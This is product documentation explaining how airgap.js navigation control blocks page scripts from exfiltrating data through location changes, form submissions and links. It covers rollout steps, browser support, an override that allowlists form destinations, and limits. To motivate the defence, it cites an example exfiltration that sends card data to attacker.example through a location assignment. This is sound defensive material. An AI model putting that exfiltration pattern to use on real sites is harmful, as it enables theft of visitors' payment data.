Stop exfiltration through navigation
Turn on navigation control so a script on your page cannot send data away by changing the page location, submitting a form, or opening a link.
After this guide, a script on your page can no longer send data away by navigating the visitor to another site. You turn on navigation control, check where visitors go, and then enforce.
A script on a host you approved can read a form and set location to https://attacker.example/?card=.... The browser leaves your page. No fetch, image, or beacon request ever fires, so request rules never see it. Navigation control closes that gap. See the navigation control reference for every option.
What navigation control covers
When it is on, airgap.js treats these as requests that rules can allow, block, or rewrite before the browser commits them:
- Link clicks
- Form submissions
locationassignmentshistorynavigationswindow.open()- Other transitions that replace the current document
It does not cover every case. See Limits.
Steps
- Add
data-regulate-navigation="report-only"to the airgap.js tag. airgap.js lists navigations in telemetry and changes nothing. - Open Triage and check the places visitors go. Classify the hosts you expect.
- Change the value to
on. airgap.js now treats a navigation like a request, and cancels a navigation to an unknown host.
<script
data-cfasync="false"
src="https://transcend-cdn.com/cm/<your-bundle-id>/airgap.js"
data-regulate-navigation="on"
></script>Navigation control follows your Unknown Request Policy. Set it to Block first. See Block unknown requests for the full rollout.
Telemetry records the host and scheme of each navigation. It never sends the path or query string, which can hold personal data. A Content Security Policy (CSP) report-uri endpoint receives the full report that the browser builds, including the URL of the page.
Browser support
Most coverage needs the Navigation API.
| Browser | First version with the Navigation API |
|---|---|
| Chrome | 102 |
| Edge | 102 |
| Firefox | 147 |
| Safari | 26.2 |
In an older browser, navigation control covers only form submissions and window.open().
Rewrite or restrict navigations
Use a request override to change a navigation instead of cancelling it. Check for these types:
request.type | What it is |
|---|---|
navigation | A navigation that changes the current document. |
DOM:link | A link on the page. As of airgap.js 9.167.0, overrides run on links when navigation control is on. |
DOM:form-action | The destination of a form. You can change or block it. |
To strip personal data from links, use the link recipe. To limit where forms can send data, block any form destination that is not on your list:
self.airgap = { overrides: [], ...self.airgap };
const FORM_HOSTS = /(^|\.)(store\.example|payments\.example)$/;
self.airgap.overrides.push({
override(request) {
if (request.type !== 'DOM:form-action') {
return;
}
const isListed = request.URLs.every(
(url) => url && FORM_HOSTS.test(url.hostname),
);
if (!isListed) {
request.block();
}
},
});Put this script before the airgap.js tag.
Test that a navigation is blocked
- Turn on navigation control and set the Unknown Request Policy to Block.
- Open your page and the browser console.
- Run
location.href = 'https://unknown-host.example/?test=1', using a host that is not in your data flows. - Check that the page stays where it is.
- Open Triage and look for the host.
The airgap security demo runs this attempt with and without navigation control.
Limits
- Browser actions are out of reach. Navigation control cannot stop a navigation that the browser starts, such as typing in the address bar or using the back and forward buttons.
- Old browsers get partial coverage. Without the Navigation API, only form submissions and
window.open()are covered. - Form data is not editable. An override can allow, cancel, or redirect a form submission. It cannot change the form fields. It can change the destination.
- Timing matters. airgap.js must load before other scripts. A script that runs first is not regulated.
- Report-only does not enforce. With
report-only, airgap.js applies no consent rules and no overrides to navigations.
Next steps
- Write rules for the requests that your approved hosts receive. See Write request overrides.
- Follow an attack through each control in the attack walkthrough.